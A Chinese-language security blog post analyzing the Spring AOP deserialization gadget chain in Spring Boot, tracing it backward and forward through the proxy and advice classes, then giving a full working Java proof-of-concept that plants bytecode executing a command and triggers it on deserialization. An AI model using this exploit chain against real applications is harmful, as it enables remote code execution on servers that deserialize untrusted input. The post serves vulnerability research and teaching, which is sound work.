JavaSec | SpringAOP 链学习分析

目录:

链子分析

反向分析

正向分析

poc 构造

总结

链子分析

反向分析

依赖于 Spring-AOP 和 aspectjweaver 两个包,在我们 springboot 中的 spring-boot-starter-aop 自带包含这俩类,所以也可以说是 spring boot 的原生反序化链了,调用链如下,

复制代码
Gadget
JdkDynamicAopProxy.invoke()->
    ReflectiveMethodInvocation.proceed()->
        JdkDynamicAopProxy.invoke()->
            AspectJAroundAdvice.invoke->
            org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
                method.invoke()

这里调用两次 JdkDynamicAopProxy.invoke()是因为后面包了两层 JdkDynamicAopProxy 代理。

看似链子很简单其实里面大有学问,先看链子最后 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()

方法,会调用到 invokeAdviceMethodWithGivenArgs 方法,在这个方法中存在反射调用

aspectJAdviceMethod 变量可以控制,让其为目标方法,this.aspectInstanceFactory.getAspectInstance() 看师傅们选的是 SingletonAspectInstanceFactory 这个 factory 类,同样可以控制返回值,至于方法参数 actualArgs 我也难得看了,这里先不管,无参方法的话就选择 newTransformer() 吧,

接着继续看链子可以知道在 AspectJAroundAdvice#invoke 调用了 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod() 方法,因为 AspectJAroundAdvice 是子类,其没有invokeAdviceMethod()方法所以会调用到父类AbstractAspectJAdvice的该方法,

这里简单提一下双亲委派机制,上面不是说了父类实列化才能控制几个变量吗,但是其实看后面分析,我们需要传入的对象其实也就是AspectJAroundAdvice对象,而我们实列化AspectJAroundAdvice对象传入的变量其实同样会影响到父类,调用到父类invokeAdviceMethod()方法时,如果父类的变量为null就会去子类寻找

参数什么的就不用管了,然后继续顺着链子向上看,来到 ReflectiveMethodInvocation.proceed() 方法,

需要让这里的 interceptorOrInterceptionAdvice 变量为 AspectJAroundAdvice 类,朔源一下interceptorsAndDynamicMethodMatchers变量,在构造函数进行了赋值,(不过不能直接实列化)

最后来到JdkDynamicAopProxy.invoke()方法,看到在else分支调用了我们的 ReflectiveMethodInvocation.proceed() 方法,而且巧妙的是ReflectiveMethodInvocation类没有继承serializable接口,不能被反序列化的,但是这里直接就进行实列化

正向分析

我们需要控制的也就是 chain 参数,其就是上面的interceptorOrInterceptionAdvice 变量,我们要让其为AspectJAroundAdvice 类,而且chain也只有不为空才能来到else分支,

复制代码
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

跟进 getInterceptorsAndDynamicInterceptionAdvice(method, targetClass) 方法,最后返回的是cached变量,有两处进行了赋值,

这里就是在 map 缓存中寻找,但是简单查看就知道 methodCache 是 transient 修饰的,不能进行序列化所以一定为 null,

复制代码
List<Object> cached = (List)this.methodCache.get(cacheKey);

只能考虑下面这段代码了,

复制代码
cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);

继续跟进 getInterceptorsAndDynamicInterceptionAdvice方法,实现了这个方法的只有DefaultAdvisorChainFactory类。

看到最后返回的是interceptorList变量,看到只有在for循环中才会对interceptorList赋值,而要进行for循环就需要config.getAdvisors();不为空列表,看到 config 就是上面传入的this也就是AdvisedSupport对象,我们需要AdvisedSupport.getAdvisors()不为空列表,这个很好控制,

那么我们控制的AdvisedSupport对象是怎么传进去的呢,我分析发现这是从jack稳定开始JdkDynamicAopProxy构造函数的参数就用的这个对象,因为JdkDynamicAopProxy对象中那个参数advised就是AdvisedSupport

复制代码
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) {  
    AdvisorAdapterRegistryregistry= GlobalAdvisorAdapterRegistry.getInstance();  
    Advisor[] advisors = config.getAdvisors();  
    List<Object> interceptorList = newArrayList(advisors.length);  
    Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass();  
    BooleanhasIntroductions=null;  
    Advisor[] var9 = advisors;  
    intvar10= advisors.length;  

    for(intvar11=0; var11 < var10; ++var11) {  
        Advisoradvisor= var9[var11];  
        if (advisor instanceof PointcutAdvisor) {  
            PointcutAdvisorpointcutAdvisor= (PointcutAdvisor)advisor;  
            if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {  
                MethodMatchermm= pointcutAdvisor.getPointcut().getMethodMatcher();  
                boolean match;  
                if (mm instanceof IntroductionAwareMethodMatcher) {  
                    if (hasIntroductions == null) {  
                        hasIntroductions = hasMatchingIntroductions(advisors, actualClass);  
                    }  

                    match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions);  
                } else {  
                    match = mm.matches(method, actualClass);  
                }  

                if (match) {  
                    MethodInterceptor[] interceptors = registry.getInterceptors(advisor);  
                    if (mm.isRuntime()) {  
                        MethodInterceptor[] var17 = interceptors;  
                        intvar18= interceptors.length;  

                        for(intvar19=0; var19 < var18; ++var19) {  
                            MethodInterceptorinterceptor= var17[var19];  
                            interceptorList.add(newInterceptorAndDynamicMethodMatcher(interceptor, mm));  
                        }  
                    } else {  
                        interceptorList.addAll(Arrays.asList(interceptors));  
                    }  
                }  
            }  
        } elseif (advisor instanceof IntroductionAdvisor) {  
            IntroductionAdvisoria= (IntroductionAdvisor)advisor;  
            if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {  
                Interceptor[] interceptors = registry.getInterceptors(advisor);  
                interceptorList.addAll(Arrays.asList(interceptors));  
            }  
        } else {  
            Interceptor[] interceptors = registry.getInterceptors(advisor);  
            interceptorList.addAll(Arrays.asList(interceptors));  
        }  
    }  

    return interceptorList;  
}

然后进入循环后就是看到interceptors的赋值了

复制代码
 Interceptor[] interceptors = registry.getInterceptors(advisor);  

registry就是DefaultAdvisorAdapterRegistry对象,跟进看到advice如果继承了MethodInterceptor类就会被添加进interceptors中,

而这个advice变量需要时Advice类型然后还需要实现MethodInterceptor接口,我们需要让这个advice为我们的目标类也就是 AspectJAroundAdvice ,但是这个目标类只实现了MethodInterceptor接口,

这就不得不提师傅们的顶级思路了,通过再套层JdkDynamicAopProxy代理让我们的AspectJAroundAdvice类实现MethodInterceptor接口并且为advice类型,然后最后得到的advice就是个proxy,

然后一直返回到 chain,

跟进就来到上面反向分析的ReflectiveMethodInvocation.proceed()方法,在这里看到我们的interceptorOrInterceptionAdvice为代理类,

触发JdkDynamicAopProxy#invoke,反射调用目标类的 invoke 方法,

最后回到上面的反向分析的调用链,最后进行命令执行


poc 构造

经过上面分析,链子构造就层层赋值就可以了,这里参考一下:https://gsbp0.github.io/post/springaop/ 进行构造 poc,

通过 tostring 进行触发代理类,当然其实什么方法可以。

复制代码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.aopalliance.aop.Advice;  
import org.aopalliance.intercept.MethodInterceptor;  
import org.springframework.aop.aspectj.AbstractAspectJAdvice;  
import org.springframework.aop.aspectj.AspectJAroundAdvice;  
import org.springframework.aop.aspectj.AspectJExpressionPointcut;  
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;  
import org.springframework.aop.framework.AdvisedSupport;  
import org.springframework.aop.support.DefaultIntroductionAdvisor;  
import org.springframework.core.Ordered;  

import java.io.*;  
import java.lang.reflect.*;  
import java.util.PriorityQueue;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  

import javax.management.BadAttributeValueExpException;  
import javax.xml.transform.Templates;  

publicclasstest {  
    publicstaticvoidmain(String[] args)throws Exception {  

        ClassPoolpool= ClassPool.getDefault();  
        CtClassclazz= pool.makeClass("a");  
        CtClasssuperClass= pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructorconstructor=newCtConstructor(newCtClass[]{}, clazz);  
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytes = newbyte[][]{clazz.toBytecode()};  
        TemplatesImpltemplates= TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytes);  
        setValue(templates, "_name", "test");  
        setValue(templates, "_tfactory", null);  
        Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法  
        SingletonAspectInstanceFactoryfactory=newSingletonAspectInstanceFactory(templates);  
        AspectJAroundAdviceadvice=newAspectJAroundAdvice(method,newAspectJExpressionPointcut(),factory);  
        Proxyproxy1= (Proxy) getAProxy(advice,Advice.class);  
        BadAttributeValueExpExceptionbadAttributeValueExpException=newBadAttributeValueExpException(123);  
        setValue(badAttributeValueExpException, "val", proxy1);  
        serilize(badAttributeValueExpException);  
        deserilize("ser.bin");  

    }  
    publicstatic Object getBProxy(Object obj,Class[] clazzs)throws Exception  
    {  
        AdvisedSupportadvisedSupport=newAdvisedSupport();  
        advisedSupport.setTarget(obj);  
        Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  
        Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);  
        return proxy;  
    }  
    publicstatic Object getAProxy(Object obj,Class<?> clazz)throws Exception  
    {  
        AdvisedSupportadvisedSupport=newAdvisedSupport();  
        advisedSupport.setTarget(obj);  
        AbstractAspectJAdviceadvice= (AbstractAspectJAdvice) obj;  

        DefaultIntroductionAdvisoradvisor=newDefaultIntroductionAdvisor((Advice) getBProxy(advice, newClass[]{MethodInterceptor.class, Advice.class}));  
        advisedSupport.addAdvisor(advisor);  
        Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  
        Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), newClass[]{clazz}, handler);  
        return proxy;  
    }  
    publicstaticvoidserilize(Object obj)throws IOException {  
        ObjectOutputStream out=newObjectOutputStream(newFileOutputStream("ser.bin"));  
        out.writeObject(obj);  
    }  
    publicstatic Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=newObjectInputStream(newFileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  

    publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {  
        Fieldfield= obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  

}

总结

这里的JdkDynamicAopProxy代理类实现MethodInterceptor接口又是Advice类型只是一层,另一层是后续把这个代理类当作目标类进行处理调用 invoke 方法然后触发handler#invoke方法,再次反射调用AspectJAroundAdvice#invoke方法形成利用。

参考:https://gsbp0.github.io/post/springaop/

参考:https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

相关推荐
老胖闲聊几秒前
Python Copilot【代码辅助工具】 简介
开发语言·python·copilot
Blossom.1184 分钟前
使用Python和Scikit-Learn实现机器学习模型调优
开发语言·人工智能·python·深度学习·目标检测·机器学习·scikit-learn
Mr_Air_Boy31 分钟前
SpringBoot使用dynamic配置多数据源时使用@Transactional事务在非primary的数据源上遇到的问题
java·spring boot·后端
曹勖之34 分钟前
基于ROS2,撰写python脚本,根据给定的舵-桨动力学模型实现动力学更新
开发语言·python·机器人·ros2
豆沙沙包?1 小时前
2025年- H77-Lc185--45.跳跃游戏II(贪心)--Java版
java·开发语言·游戏
ABB自动化1 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
军训猫猫头1 小时前
96.如何使用C#实现串口发送? C#例子
开发语言·c#
努力学习的小廉1 小时前
深入了解linux系统—— 进程池
linux·运维·服务器
年老体衰按不动键盘1 小时前
快速部署和启动Vue3项目
java·javascript·vue
恰薯条的屑海鸥1 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习